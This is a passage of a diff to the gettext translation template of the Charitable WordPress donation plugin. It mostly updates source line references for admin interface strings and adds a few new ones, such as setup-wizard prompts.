includes/admin/onboarding/class-charitable-checklist.php:830 msgid "Watch Video" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:969 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:985 #: includes/admin/onboarding/class-charitable-checklist.php:831 msgid "Choose a Template" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:970 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:986 #: includes/admin/onboarding/class-charitable-checklist.php:832 -#: includes/admin/splash/class-charitable-admin-splash.php:250 +#: includes/admin/splash/class-charitable-admin-splash.php:249 #: includes/admin/splash/class-charitable-admin-splash.php:272 -#: includes/admin/splash/class-charitable-admin-splash.php:293 -#: includes/admin/splash/class-charitable-admin-splash.php:314 -#: includes/admin/splash/class-charitable-admin-splash.php:335 -#: includes/admin/splash/class-charitable-admin-splash.php:356 -#: includes/admin/splash/class-charitable-admin-splash.php:514 +#: includes/admin/splash/class-charitable-admin-splash.php:291 +#: includes/admin/splash/class-charitable-admin-splash.php:309 +#: includes/admin/splash/class-charitable-admin-splash.php:330 +#: includes/admin/splash/class-charitable-admin-splash.php:351 +#: includes/admin/splash/class-charitable-admin-splash.php:372 +#: includes/admin/splash/class-charitable-admin-splash.php:393 +#: includes/admin/splash/class-charitable-admin-splash.php:567 msgid "Get Started" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:971 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:987 #: includes/admin/templates/campaign-builder-onboarding.php:76 msgid "Welcome to the Campaign Builder!" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:971 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:987 #: includes/admin/templates/campaign-builder-onboarding.php:77 msgid "This is where you build, manage, and add features to your campaigns. The following steps will walk you through essential areas." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:972 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:988 #: includes/admin/templates/campaign-builder-onboarding.php:22 msgid "Name Your Campaign" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:975 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:991 msgid "Give your campaign a name so you can easily identify it. Once you have entered a name, click" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:977 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:993 msgid "to continue" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:979 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:995 #: includes/admin/campaign-builder/panels/class-template.php:135 msgid "Select A Template" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:982 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:998 msgid "Build your campaign from scratch or use one of our pre-made templates. Hover over a thumbnail and select" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:984 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1000 msgid "to get started" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:985 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1001 msgid "For example:" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:986 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1002 msgid "The" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:987 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1003 msgid "Animal Sanctuary" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:988 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1004 msgid "template is perfect for animal rescue organizations" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:990 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1006 msgid "Campaign Fields" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:993 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1009 msgid "Clicking on this tab shows you the available fields for your campaign. You can drag additional fields to add to your page." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:995 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1011 msgid "Recommended Fields" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:998 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1014 msgid "These fields are usually found on all campaign pages. A" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:999 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1015 msgid "means that the field already is on your campaign page" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1001 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1017 msgid "Standard Fields" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1004 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1020 msgid "These are common fields you can use when you need them." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1006 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1022 msgid "Pro Fields" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1009 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1025 msgid "Fields that offer advanced features offered by addons or third-party integrations." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1014 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1030 #: includes/admin/templates/campaign-builder-onboarding.php:42 msgid "Save your campaign progress at any time." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1016 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1032 #: includes/admin/templates/campaign-builder-onboarding.php:47 msgid "Publish Your Campaign" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1019 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1035 #: includes/admin/templates/campaign-builder-onboarding.php:48 msgid "When you're ready, launch your campaign and start raising funds." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1024 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1040 msgid "See how your campaign will look while in draft or before making updates." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1026 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1042 #: includes/admin/donations/class-charitable-donation-list-table.php:298 msgid "View" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1029 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1045 msgid "You can also check out your campaign once it's live." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1034 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1050 #: includes/admin/templates/campaign-builder-onboarding.php:60 msgid "Add a campaign to a new or existing page with our embed wizard, or use the shortcode provided." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1039 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1055 msgid "Customize campaign details, preferences, and enable new functionality." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1040 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1056 msgid "Start with general settings where you can add donation goals, end dates, suggested amounts, and more." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1042 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1058 #: includes/admin/templates/campaign-builder-onboarding.php:83 msgid "We hope you enjoyed the tour!" msgstr "" #. translators: %s - getting started guide link. #. translators: %1$s is the link to the getting started guide, %2$s is the link to the documentation, %3$s is the link to the support page. -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1046 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1062 #: includes/admin/templates/campaign-builder-onboarding.php:90 #, php-format msgid "Remember that you can view our <a href=\"%1$s\" target=\"_blank\">getting started guide</a>, read our <a href=\"%2$s\" target=\"_blank\">documentation</a>, or <a href=\"%3$s\" target=\"_blank\">reach out to us</a> for support if you have any questions." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1049 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1065 msgid "Your Campaign Name" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1052 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1068 msgid "This is where you can change or update your campaign name" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1410 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1428 msgid "Now editing" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1413 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1431 msgid "Enter Your Campaign Name Here..." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1414 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1432 #: includes/admin/campaign-builder/fields/class-campaign-title.php:43 msgid "Edit Campaign Title" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1427 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1445 msgid "Embed Campaign Ctrl+B" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1437 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1439 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1455 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1457 msgid "View Live" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1454 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1458 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1472 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1476 msgid "Publish" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1459 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1477 msgid "Pending Review" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1460 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1478 #: includes/admin/reports/class-charitable-reports.php:344 #: includes/admin/views/campaigns-page/export-form.php:55 #: includes/admin/views/campaigns-page/filter-form.php:38 @@ -6467,39 +6496,39 @@ msgid "Draft" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1470 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1488 msgid "Exit Ctrl+Q" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1533 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1551 msgid "Use This Template" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1561 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1562 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1579 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1580 #: includes/admin/views/notices/admin-notice-campaign-builder.php:28 #: includes/admin/views/notices/admin-notice-dashboard-reporting.php:31 #: includes/admin/views/notices/admin-notice-dashboard-reporting.php:40 msgid "Campaign Builder" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1615 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1633 msgid "Debug Information" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1643 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1661 msgid "Our campaign builder is optimized for desktop computers." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1644 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1662 msgid "We recommend that you edit your campaign on a bigger screen. If you'd like to proceed, please understand that some functionality might not behave as expected." msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1648 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1666 msgid "Back to All Campaigns" msgstr "" -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1651 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1669 #: includes/admin/templates/checklist-widget.php:120 #: includes/admin/views/onboarding/setup.php:115 msgid "Continue" @@ -6744,8 +6773,6 @@ #: includes/admin/campaign-builder/fields/class-campaign-summary.php:292 #: includes/fields/default-fields/campaign-fields.php:293 -#: assets/js/blocks/donors/build/index.js:133 -#: assets/js/blocks/donors/build/index.js:96 msgid "Number of Donors" msgstr "" @@ -6811,7 +6838,7 @@ #: includes/admin/views/metaboxes/campaign-page-settings.php:54 #: includes/admin/views/metaboxes/campaign-page-settings.php:55 #: includes/elementor/widgets/class-charitable-elementor-button-widget.php:77 -#: includes/shortcodes/class-charitable-donate-button-shortcode.php:39 +#: includes/shortcodes/class-charitable-donate-button-shortcode.php:40 #: templates/campaign-loop/donate-link.php:25 #: templates/campaign-loop/donate-modal.php:30 #: templates/campaign/donate-button.php:23 @@ -6876,8 +6903,6 @@ msgstr "" #: includes/admin/campaign-builder/fields/class-donor-wall.php:321 -#: assets/js/blocks/donors/build/index.js:184 -#: assets/js/blocks/donors/build/index.js:167 msgid "Orientation" msgstr "" @@ -6887,8 +6912,6 @@ #: includes/admin/campaign-builder/fields/class-donor-wall.php:356 #: includes/elementor/widgets/class-charitable-elementor-campaigns-widget.php:126 -#: assets/js/blocks/donors/build/index.js:140 -#: assets/js/blocks/donors/build/index.js:107 msgid "Order By" msgstr "" @@ -6903,14 +6926,10 @@ msgstr "" #: includes/admin/campaign-builder/fields/class-donor-wall.php:375 -#: assets/js/blocks/donors/build/index.js:156 -#: assets/js/blocks/donors/build/index.js:122 msgid "Order" msgstr "" #: includes/admin/campaign-builder/fields/class-donor-wall.php:388 -#: assets/js/blocks/donors/build/index.js:222 -#: assets/js/blocks/donors/build/index.js:230 msgid "Hide If No Donors" msgstr "" @@ -7243,7 +7262,6 @@ #: includes/elementor/widgets/class-charitable-elementor-campaigns-widget.php:132 #: includes/fields/default-fields/campaign-fields.php:142 #: includes/widgets/class-charitable-donors-widget.php:74 -#: assets/js/blocks/donations/build/index.js:97 msgid "Title" msgstr "" @@ -7412,6 +7430,10 @@ msgid "There are no tabs yet for this template. You can " msgstr "" +#: includes/admin/campaign-builder/panels/class-form.php:37 +msgid "Form" +msgstr "" + #: includes/admin/campaign-builder/panels/class-help.php:52 #: includes/admin/templates/header.php:33 msgid "Help" @@ -7478,26 +7500,6 @@ msgstr "" #: includes/admin/campaign-builder/panels/class-marketing.php:241 -#: includes/admin/campaign-builder/panels/class-marketing.php:338 -#: includes/admin/campaign-builder/panels/class-payment.php:196 -#: includes/admin/campaign-builder/panels/class-payment.php:424 -#: includes/admin/campaign-builder/templates/class-templates.php:669 -#: includes/admin/campaigns/class-charitable-campaign-list-table.php:662 -#: includes/admin/donations/class-charitable-donation-list-table.php:1051 -#: includes/admin/plugins/class-charitable-admin-plugins-third-party.php:588 -#: includes/admin/splash/class-charitable-admin-splash.php:254 -#: includes/admin/splash/class-charitable-admin-splash.php:276 -#: includes/admin/splash/class-charitable-admin-splash.php:297 -#: includes/admin/splash/class-charitable-admin-splash.php:318 -#: includes/admin/splash/class-charitable-admin-splash.php:339 -#: includes/admin/splash/class-charitable-admin-splash.php:360 -#: includes/admin/splash/class-charitable-admin-splash.php:515 -#: includes/admin/splash/class-charitable-admin-splash.php:531 -#: includes/admin/splash/class-charitable-admin-splash.php:540 -msgid "Learn More" -msgstr "" - -#: includes/admin/campaign-builder/panels/class-marketing.php:241 #: includes/admin/campaign-builder/panels/class-marketing.php:612 #: includes/admin/campaign-builder/panels/class-marketing.php:624 #: includes/admin/campaign-builder/panels/class-payment.php:196 @@ -8037,12 +8039,12 @@ msgstr "" #: includes/admin/campaign-builder/panels/settings/class-settings-addons.php:63 -#: includes/admin/charitable-core-admin-functions.php:1796 +#: includes/admin/charitable-core-admin-functions.php:1822 #: includes/admin/class-charitable-admin-getting-started.php:363 #: includes/admin/class-charitable-admin-getting-started.php:436 #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:1094 -#: includes/admin/dashboard/class-charitable-dashboard.php:1853 -#: includes/admin/dashboard/class-charitable-dashboard.php:2281 +#: includes/admin/dashboard/class-charitable-dashboard.php:1899 +#: includes/admin/dashboard/class-charitable-dashboard.php:2327 #: includes/admin/donations/class-charitable-donation-list-table.php:1021 #: includes/admin/donations/class-charitable-donation-list-table.php:1023 #: includes/admin/views/about/tabs/lite-vs-pro.php:64 @@ -8055,7 +8057,7 @@ #: includes/admin/class-charitable-admin-getting-started.php:371 #: includes/admin/class-charitable-admin-getting-started.php:439 #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:1098 -#: includes/admin/dashboard/class-charitable-dashboard.php:2286 +#: includes/admin/dashboard/class-charitable-dashboard.php:2332 #: includes/admin/views/about/tabs/lite-vs-pro.php:73 #: includes/admin/views/checklist/checklist.php:528 #: includes/admin/views/checklist/checklist.php:572 @@ -8111,7 +8113,6 @@ #: includes/admin/reports/class-charitable-export-campaigns.php:229 #: includes/admin/reports/class-charitable-reports.php:375 #: includes/fields/default-fields/campaign-fields.php:53 -#: assets/js/blocks/campaign-stats/build/index.js:138 #: _legacy_src/blocks/campaign-stats/settings-editor.js:21 msgid "Goal" msgstr "" @@ -8534,9 +8535,9 @@ msgstr "" #: includes/admin/campaigns/class-charitable-campaign-list-table.php:793 -#: includes/admin/charitable-core-admin-functions.php:1775 -#: includes/admin/dashboard/class-charitable-dashboard.php:1839 -#: includes/admin/dashboard/class-charitable-dashboard.php:3631 +#: includes/admin/charitable-core-admin-functions.php:1801 +#: includes/admin/dashboard/class-charitable-dashboard.php:1885 +#: includes/admin/dashboard/class-charitable-dashboard.php:3677 #: includes/admin/donations/class-charitable-donation-list-table.php:1166 #: includes/admin/views/automation/automation.php:139 #: includes/admin/views/backups/backups.php:139 @@ -8548,7 +8549,7 @@ msgstr "" #: includes/admin/campaigns/class-charitable-campaign-list-table.php:802 -#: includes/admin/dashboard/class-charitable-dashboard.php:2684 +#: includes/admin/dashboard/class-charitable-dashboard.php:2730 #: includes/admin/donations/class-charitable-donation-list-table.php:1193 msgid "Install & Activate" msgstr "" @@ -8932,60 +8933,60 @@ msgid "Addon not installed. Invalid download URL." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1215 +#: includes/admin/charitable-core-admin-functions.php:1214 msgid "Addon installed and activated." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1222 +#: includes/admin/charitable-core-admin-functions.php:1232 msgid "Addon installed." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1520 +#: includes/admin/charitable-core-admin-functions.php:1530 msgid "Invalid notification ID." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1526 +#: includes/admin/charitable-core-admin-functions.php:1536 msgid "No notifications found." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1533 +#: includes/admin/charitable-core-admin-functions.php:1559 msgid "Notification removed." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1535 +#: includes/admin/charitable-core-admin-functions.php:1561 msgid "Notification not found." msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1731 +#: includes/admin/charitable-core-admin-functions.php:1757 msgid "Charitable Test Mode Active" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1765 -#: includes/admin/dashboard/class-charitable-dashboard.php:1829 +#: includes/admin/charitable-core-admin-functions.php:1791 +#: includes/admin/dashboard/class-charitable-dashboard.php:1875 msgid "Upgrade to Pro to Unlock Powerful Donation Features" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1776 -#: includes/admin/dashboard/class-charitable-dashboard.php:1840 +#: includes/admin/charitable-core-admin-functions.php:1802 +#: includes/admin/dashboard/class-charitable-dashboard.php:1886 msgid "Learn more about all features →" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1797 +#: includes/admin/charitable-core-admin-functions.php:1823 #: includes/admin/class-charitable-admin-getting-started.php:347 #: includes/admin/class-charitable-admin-getting-started.php:447 -#: includes/admin/dashboard/class-charitable-dashboard.php:1854 +#: includes/admin/dashboard/class-charitable-dashboard.php:1900 #: includes/admin/views/about/tabs/lite-vs-pro.php:67 #: includes/admin/views/checklist/checklist.php:580 msgid "Peer-to-Peer Fundraising" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1798 -#: includes/admin/dashboard/class-charitable-dashboard.php:1855 +#: includes/admin/charitable-core-admin-functions.php:1824 +#: includes/admin/dashboard/class-charitable-dashboard.php:1901 msgid "Donor Database" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1799 -#: includes/admin/dashboard/class-charitable-dashboard.php:1856 +#: includes/admin/charitable-core-admin-functions.php:1825 +#: includes/admin/dashboard/class-charitable-dashboard.php:1902 #: includes/admin/settings/class-charitable-settings.php:953 #: includes/admin/settings/class-charitable-settings.php:954 #: includes/admin/settings/class-charitable-settings.php:956 @@ -8993,33 +8994,33 @@ msgid "Donor Dashboard" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1800 -#: includes/admin/dashboard/class-charitable-dashboard.php:1857 +#: includes/admin/charitable-core-admin-functions.php:1826 +#: includes/admin/dashboard/class-charitable-dashboard.php:1903 msgid "PDF & Annual Receipts" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1825 -#: includes/admin/dashboard/class-charitable-dashboard.php:1879 +#: includes/admin/charitable-core-admin-functions.php:1851 +#: includes/admin/dashboard/class-charitable-dashboard.php:1925 msgid "Anonymous Giving" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1826 -#: includes/admin/dashboard/class-charitable-dashboard.php:1880 +#: includes/admin/charitable-core-admin-functions.php:1852 +#: includes/admin/dashboard/class-charitable-dashboard.php:1926 msgid "Fee Coverage Option" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1827 -#: includes/admin/dashboard/class-charitable-dashboard.php:1881 +#: includes/admin/charitable-core-admin-functions.php:1853 +#: includes/admin/dashboard/class-charitable-dashboard.php:1927 msgid "Email Marketing Integration" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1828 -#: includes/admin/dashboard/class-charitable-dashboard.php:1882 +#: includes/admin/charitable-core-admin-functions.php:1854 +#: includes/admin/dashboard/class-charitable-dashboard.php:1928 msgid "Built-In Analytics & Reports" msgstr "" -#: includes/admin/charitable-core-admin-functions.php:1829 -#: includes/admin/dashboard/class-charitable-dashboard.php:1883 +#: includes/admin/charitable-core-admin-functions.php:1855 +#: includes/admin/dashboard/class-charitable-dashboard.php:1929 msgid "Flexible Payment Methods" msgstr "" @@ -9114,7 +9115,7 @@ #: includes/admin/class-charitable-about.php:405 #: includes/admin/settings/class-charitable-general-settings.php:155 #: includes/admin/settings/class-charitable-privacy-settings.php:107 -#: includes/admin/tools/class-charitable-tools-system-info.php:426 +#: includes/admin/tools/class-charitable-tools-system-info.php:427 msgid "None" msgstr "" @@ -9501,7 +9502,7 @@ msgstr "" #: includes/admin/class-charitable-admin-getting-started.php:440 -#: includes/admin/dashboard/class-charitable-dashboard.php:2283 +#: includes/admin/dashboard/class-charitable-dashboard.php:2329 #: includes/admin/views/checklist/checklist.php:573 msgid "Gift Aid" msgstr "" @@ -9776,6 +9777,14 @@ msgid "Edit" msgstr "" +#: includes/admin/class-charitable-admin.php:1619 +msgid "Plugin installed successfully" +msgstr "" + +#: includes/admin/class-charitable-admin.php:1662 +msgid "Plugin activated successfully" +msgstr "" + #: includes/admin/class-charitable-external-banner.php:89 #: includes/admin/class-charitable-givewp-notice.php:101 msgid "Import Now" @@ -9858,7 +9867,7 @@ #: includes/admin/customizer/class-charitable-customizer.php:148 #: includes/admin/settings/class-charitable-privacy-settings.php:165 -#: includes/admin/tools/class-charitable-tools-system-info.php:472 +#: includes/admin/tools/class-charitable-tools-system-info.php:473 #: includes/privacy/charitable-privacy-functions.php:49 #: includes/privacy/charitable-privacy-functions.php:52 #: includes/privacy/charitable-privacy-functions.php:149 @@ -9884,7 +9893,7 @@ #: includes/admin/customizer/class-charitable-customizer.php:177 #: includes/admin/settings/class-charitable-privacy-settings.php:151 -#: includes/admin/tools/class-charitable-tools-system-info.php:459 +#: includes/admin/tools/class-charitable-tools-system-info.php:460 #: includes/data/class-charitable-donors-db.php:268 #: includes/forms/class-charitable-donation-form.php:1141 #: includes/forms/class-charitable-profile-form.php:355 @@ -9912,7 +9921,7 @@ #: includes/admin/customizer/class-charitable-customizer.php:208 #: includes/admin/settings/class-charitable-privacy-settings.php:183 -#: includes/admin/tools/class-charitable-tools-system-info.php:485 +#: includes/admin/tools/class-charitable-tools-system-info.php:486 #: includes/privacy/charitable-privacy-functions.php:31 #: includes/privacy/charitable-privacy-functions.php:121 msgid "I have read and agree to the website [terms]." @@ -9987,21 +9996,21 @@ msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:176 -#: includes/admin/dashboard/class-charitable-dashboard.php:336 +#: includes/admin/dashboard/class-charitable-dashboard.php:382 #: includes/admin/reports/class-charitable-reports.php:227 #: includes/admin/reports/class-charitable-reports.php:272 msgid "Last 7 Days" msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:177 -#: includes/admin/dashboard/class-charitable-dashboard.php:337 +#: includes/admin/dashboard/class-charitable-dashboard.php:383 #: includes/admin/reports/class-charitable-reports.php:228 #: includes/admin/reports/class-charitable-reports.php:273 msgid "Last 14 Days" msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:178 -#: includes/admin/dashboard/class-charitable-dashboard.php:338 +#: includes/admin/dashboard/class-charitable-dashboard.php:384 #: includes/admin/reports/class-charitable-reports.php:229 #: includes/admin/reports/class-charitable-reports.php:274 msgid "Last 30 Days" @@ -10012,7 +10021,7 @@ msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:493 -#: includes/admin/dashboard/class-charitable-dashboard.php:397 +#: includes/admin/dashboard/class-charitable-dashboard.php:443 #: includes/admin/reports/class-charitable-reports-download.php:581 #: includes/admin/reports/class-charitable-reports.php:372 #: includes/admin/reports/class-charitable-reports.php:944 @@ -10031,7 +10040,7 @@ #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:517 #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:1082 -#: includes/admin/dashboard/class-charitable-dashboard.php:439 +#: includes/admin/dashboard/class-charitable-dashboard.php:485 #: includes/admin/reports/class-charitable-reports-download.php:430 #: includes/admin/reports/class-charitable-reports.php:591 #: includes/admin/views/reports/overview.php:192 @@ -10055,8 +10064,8 @@ msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:548 -#: includes/admin/dashboard/class-charitable-dashboard.php:1098 -#: includes/admin/dashboard/class-charitable-dashboard.php:1280 +#: includes/admin/dashboard/class-charitable-dashboard.php:1144 +#: includes/admin/dashboard/class-charitable-dashboard.php:1326 #: includes/data/class-charitable-post-types.php:306 #: includes/data/class-charitable-post-types.php:307 msgid "Add Donation" @@ -10156,7 +10165,7 @@ msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:1106 -#: includes/admin/dashboard/class-charitable-dashboard.php:2284 +#: includes/admin/dashboard/class-charitable-dashboard.php:2330 #: includes/admin/views/checklist/checklist.php:506 msgid "Ambassadors" msgstr "" @@ -10172,7 +10181,7 @@ msgstr "" #: includes/admin/dashboard/class-charitable-dashboard-legacy.php:1118 -#: includes/admin/dashboard/class-charitable-dashboard.php:2285 +#: includes/admin/dashboard/class-charitable-dashboard.php:2331 msgid "Anonymous Donations" msgstr "" @@ -10233,328 +10242,341 @@ msgid "Upgrade Your Plan to Unlock More Powerful Features" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:163 +#: includes/admin/dashboard/class-charitable-dashboard.php:110 +msgid "Finish Setting Up Charitable" +msgstr "" + +#: includes/admin/dashboard/class-charitable-dashboard.php:111 +msgid "Looks like you started the setup wizard but didn't finish. Pick up where you left off and we'll have you ready to accept donations in just a couple more steps." +msgstr "" + +#: includes/admin/dashboard/class-charitable-dashboard.php:114 +#: includes/admin/views/welcome-page/page.php:44 +msgid "Resume Setup Wizard" +msgstr "" + +#: includes/admin/dashboard/class-charitable-dashboard.php:209 #: includes/admin/reports/class-charitable-reports.php:3695 msgid "Overview" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:168 -#: includes/admin/dashboard/class-charitable-dashboard.php:172 +#: includes/admin/dashboard/class-charitable-dashboard.php:214 +#: includes/admin/dashboard/class-charitable-dashboard.php:218 msgid "+ Add New Campaign" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:243 +#: includes/admin/dashboard/class-charitable-dashboard.php:289 #: includes/admin/templates/dashboard-notifications.php:32 msgid "Previous message" msgstr "" #. translators: 1: current notification number, 2: total notifications -#: includes/admin/dashboard/class-charitable-dashboard.php:250 +#: includes/admin/dashboard/class-charitable-dashboard.php:296 #, php-format msgid "%1$d of %2$d" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:257 +#: includes/admin/dashboard/class-charitable-dashboard.php:303 #: includes/admin/templates/dashboard-notifications.php:36 msgid "Next message" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:272 +#: includes/admin/dashboard/class-charitable-dashboard.php:318 #: includes/admin/templates/dashboard-notifications.php:54 #: includes/donations/class-charitable-donation-notices.php:120 msgid "Important" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:367 +#: includes/admin/dashboard/class-charitable-dashboard.php:413 #: includes/admin/views/dashboard/dashboard-legacy.php:94 #: includes/admin/views/reports/overview.php:162 msgid "Print Summary" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:416 +#: includes/admin/dashboard/class-charitable-dashboard.php:462 msgid "Avg. Donations" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:435 +#: 